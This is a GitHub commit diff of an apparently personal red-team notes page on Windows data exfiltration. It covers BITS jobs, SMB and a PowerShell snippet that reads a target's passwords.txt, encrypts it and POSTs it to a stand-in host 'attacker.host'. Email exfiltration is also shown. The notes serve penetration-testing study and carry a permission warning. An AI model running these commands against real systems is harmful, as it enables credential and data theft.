Skip to content

Commit ba766fb

Browse files
zweilosecgitbook-bot
authored andcommitted
GitBook: [#337] No subject
1 parent 61370b2 commit ba766fb

File tree

1 file changed

+16
-13
lines changed

1 file changed

+16
-13
lines changed

windows-1/windows-redteam/data-exfiltration.md

Lines changed: 16 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ Always ensure you have **explicit** permission to access any computer system **b
1010
Not much here yet...please feel free to contribute at [my GitHub page](https://github.com/zweilosec/Infosec-Notes).
1111
{% endhint %}
1212

13-
### BITS Jobs
13+
## Exfiltrate Data Using BITS Jobs
1414

1515
{% tabs %}
1616
{% tab title="PowerShell" %}
@@ -59,11 +59,11 @@ bitsadmin /resume backdoor
5959
{% endtab %}
6060
{% endtabs %}
6161

62-
### Using FTP
62+
## Exfiltrate Data Using FTP
6363

6464
See [this section](privilege-escalation.md#using-ftp) under Privilege Escalation
6565

66-
### Using SMB
66+
## Exfiltrate Data Using SMB
6767

6868
{% tabs %}
6969
{% tab title="PowerShell" %}
@@ -87,27 +87,30 @@ For more about the New-SmbShare PowerShell cmdlet:
8787

8888
See [this section](privilege-escalation.md#smb) under Privilege Escalation for more
8989

90-
### HTTP POST with PowerShell
90+
## AES Encrypt and HTTP POST with PowerShell
9191

92-
If you set up a web server to accept post requests, you can either AES encrypt or base64 encode your target data and simply send an HTTP request to the server with the data.
92+
If you set up a web server to accept post requests, you can either AES encrypt or base64 encode your target data and simply send an HTTP request to the server with the data. 
9393

9494
Example with AES encrypted payload:
9595

96-
```
96+
```powershell
9797
$file = Get-Content C:\Users\Target\Desktop\passwords.txt
98-
$key = (New-Object System.Text.ASCIIEncoding).GetBytes("UseMeToEncrypt")
98+
#key must be 128 bits (16 chars), 192 bits (24 chars), or 256 bits (32 chars)
99+
$key = (New-Object System.Text.ASCIIEncoding).GetBytes("usemetodecryptit")
99100
$securestring = New-Object System.Security.SecureString
100-
foreach ($char in $file.toCharArray()) {
101-
$secureString.AppendChar($char)
102-
}
101+
102+
foreach ($char in $file.toCharArray()) {$secureString.AppendChar($char)}
103+
103104
$encryptedData = ConvertFrom-SecureString -SecureString $secureString -Key $key
104105
105106
Invoke-WebRequest -Uri http://www.attacker.host/exfil -Method POST -Body $encryptedData
106107
```
107108

109+
You can also skip the last command to send the web request, and simply print the encoded data to the screen and copy to your other terminal (may create a very long wall of text if the file is large!). 
110+
108111
To decode the data on the other side simply reverse the process:
109112

110-
```
113+
```powershell
111114
$key = (New-Object System.Text.ASCIIEncoding).GetBytes("54b8617eca0e54c7d3c8e6732c6b687a")
112115
$encrypted = "$encrypted_payload"
113116
echo $encrypted | ConvertTo-SecureString -key $key | ForEach-Object {[Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($_))}
@@ -123,9 +126,9 @@ One potential limitation I have noted is that it seems to strip out newline char
123126

124127
You can always convert your data or files to be exfiltrated to Base64 text and simply copy and paste this in your terminal (or use bash/PowerShell magic to convert your target data back). See [this section](privilege-escalation.md#covert-to-and-from-base64-with-powershell) under Privilege Escalation for more information on this technique.
125128

126-
### Send an email with PowerShell
129+
## Send an email with PowerShell
127130

128-
#### PowerShell `Send-MailMessage` cmdlet
131+
### PowerShell `Send-MailMessage` cmdlet
129132

130133
```powershell
131134
Send-MailMessage -From 'User01 <[email protected]>' -To 'User02 <[email protected]>', 'User03 <[email protected]>' -Subject 'Sending the Attachment' -Body "Forgot to send the attachment. Sending now." -Attachments .\data.csv -Priority High -DeliveryNotificationOption OnSuccess, OnFailure -SmtpServer 'smtp.fabrikam.com'

0 commit comments

Comments
 (0)